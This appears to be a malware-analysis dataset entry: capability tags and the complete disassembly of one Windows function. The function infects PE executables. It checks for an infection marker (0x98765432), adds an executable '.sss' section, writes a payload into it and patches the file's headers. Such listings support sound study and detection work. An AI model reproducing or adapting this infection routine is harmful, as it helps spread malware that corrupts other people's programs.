Function at 0x18000f8e0
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push rsi
push r15
sub rsp, 0x1e8
mov rax, qword [0x1800964f0]
xor rax, rsp
mov qword [rsp + 0x1c0], rax
xor r15d, r15d
xor r9d, r9d
mov edx, 0xc0000000
mov qword [rsp + 0x30], r15
lea r8d, [r15 + 1]
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x48], r15d
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x18000f939
or eax, eax
jmp 0x18000fd90
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
lea r9, [rsp + 0x40]
lea rdx, [rsp + 0x180]
mov r8d, 0x40
mov rcx, rsi
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x18000fd85
cmp dword [rsp + 0x40], r15d
je 0x18000fd85
mov qword [rsp + 0x1e0], r12
mov r12d, dword [rsp + 0x1bc]
xor r9d, r9d
xor r8d, r8d
mov rcx, rsi
mov edx, r12d
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
lea r9, [rsp + 0x40]
lea rdx, [rsp + 0x80]
mov r8d, 0x100
mov rcx, rsi
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x18000fd7d
cmp dword [rsp + 0x40], r15d
je 0x18000fd7d
cmp dword [rsp + 0x88], 0x98765432
je 0x18000fd7d
cmp dword [rsp + 0x80], 0x4550
jne 0x18000fd7d
movzx eax, word [rsp + 0x94]
mov qword [rsp + 0x210], rbp
xor r9d, r9d
lea ebp, [rax + r12 + 0x18]
movzx eax, word [rsp + 0x86]
xor r8d, r8d
lea ecx, [rax + rax*4]
lea edx, [rbp + rcx*8]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
lea r9, [rsp + 0x40]
lea rdx, [rsp + 0x50]
mov r8d, 0x28
mov rcx, rsi
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x18000fd75
cmp dword [rsp + 0x40], r15d
je 0x18000fd75
mov edx, 0x28
xor cl, cl
lea rax, [rsp + 0x50]
mov dword [rsp + 0x48], edx
nop word [rax + rax]
or cl, byte [rax]
inc rax
sub rdx, 1
jne 0x18000fa70
test cl, cl
jne 0x18000fd75
mov qword [rsp + 0x208], rbx
mov qword [rsp + 0x218], rdi
mov qword [rsp + 0x1d8], r13
mov qword [rsp + 0x1d0], r14
movzx edi, r15w
cmp r15w, word [rsp + 0x86]
jae 0x18000fb3a
nop word [rax + rax]
movzx eax, di
xor r9d, r9d
xor r8d, r8d
lea ecx, [rax + rax*4]
lea ebx, [rbp + rcx*8]
mov rcx, rsi
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
lea r9, [rsp + 0x40]
lea rdx, [rsp + 0x50]
mov r8d, 0x28
mov rcx, rsi
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_ReadFile]
or byte [rsp + 0x77], 0xc0
xor r9d, r9d
xor r8d, r8d
mov edx, ebx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
lea r9, [rsp + 0x44]
lea rdx, [rsp + 0x50]
mov r8d, 0x28
mov rcx, rsi
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WriteFile]
inc di
cmp di, word [rsp + 0x86]
jb 0x18000fac0
mov ebx, dword [rsp + 0xb8]
mov r14d, dword [rsp + 0xbc]
mov edi, dword [rsp + 0xd0]
dec ebx
dec r14d
xor edx, edx
or ebx, 0x207
or r14d, 0x207
mov rcx, rsi
mov dword [rsp + 0x88], 0x98765432
mov dword [rsp + 0x50], 0x7373732e
mov dword [rsp + 0x54], 0x7373
inc ebx
inc r14d
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [rsp + 0xbc]
add dword [rsp + 0xd0], ebx
lea r13d, [rax - 1]
movzx eax, word [rsp + 0x86]
dec ecx
mov dword [rsp + 0x58], ebx
mov ebx, dword [rsp + 0xb4]
or r13d, ecx
mov ecx, dword [rsp + 0xa8]
add ebx, ecx
lea ecx, [rax + rax*4]
inc r13d
lea edx, [rbp + rcx*8]
xor r9d, r9d
xor r8d, r8d
mov rcx, rsi
mov dword [rsp + 0x5c], edi
mov dword [rsp + 0x60], r14d
mov dword [rsp + 0x64], r13d
mov dword [rsp + 0x74], 0xe0000020
mov dword [rsp + 0xa8], edi
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
lea r9, [rsp + 0x44]
lea rdx, [rsp + 0x50]
mov r8d, 0x28
mov rcx, rsi
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WriteFile]
inc word [rsp + 0x86]
xor r9d, r9d
xor r8d, r8d
mov edx, r12d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
lea r9, [rsp + 0x44]
lea rdx, [rsp + 0x80]
mov r8d, 0x100
mov rcx, rsi
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov r11d, 0xffffff84
mov rcx, r15
sub r11d, dword [rsp + 0xb4]
lea rdx, [0x1800a3620]
sub r11d, edi
mov rdi, qword [rsp + 0x218]
add ebx, r11d
mov dword [rsp + 0x40], ebx
movzx eax, byte [rsp + 0x41]
mov byte [0x18009a998], bl
mov byte [0x18009a999], al
movzx eax, byte [rsp + 0x42]
lea rbx, [0x18009a920]
mov byte [0x18009a99a], al
movzx eax, byte [rsp + 0x43]
mov byte [0x18009a99b], al
nop word [rax + rax]
movzx eax, byte [rcx + rdx]
inc rcx
mov byte [rcx + rbx + 0x7b], al
test al, al
jne 0x18000fcb0
xor r9d, r9d
xor r8d, r8d
mov edx, r13d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
lea r9, [rsp + 0x44]
mov r8d, 0x200
mov rdx, rbx
mov rcx, rsi
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [rsp + 0x48]
mov r11d, 0x2000
test word [rsp + 0x96], r11w
mov ecx, 0xd11
lea edx, [r13 + 0x204]
cmovne eax, ecx
xor r9d, r9d
xor r8d, r8d
mov rcx, rsi
mov dword [rsp + 0x48], eax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
lea r9, [rsp + 0x44]
lea rdx, [rsp + 0x48]
mov r8d, 4
mov rcx, rsi
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea edx, [r13 + r14]
xor r9d, r9d
xor r8d, r8d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov r14, qword [rsp + 0x1d0]
mov r13, qword [rsp + 0x1d8]
mov rbx, qword [rsp + 0x208]
mov rbp, qword [rsp + 0x210]
mov r12, qword [rsp + 0x1e0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.180050540
add rsp, 0x1e8
pop r15
pop rsi
ret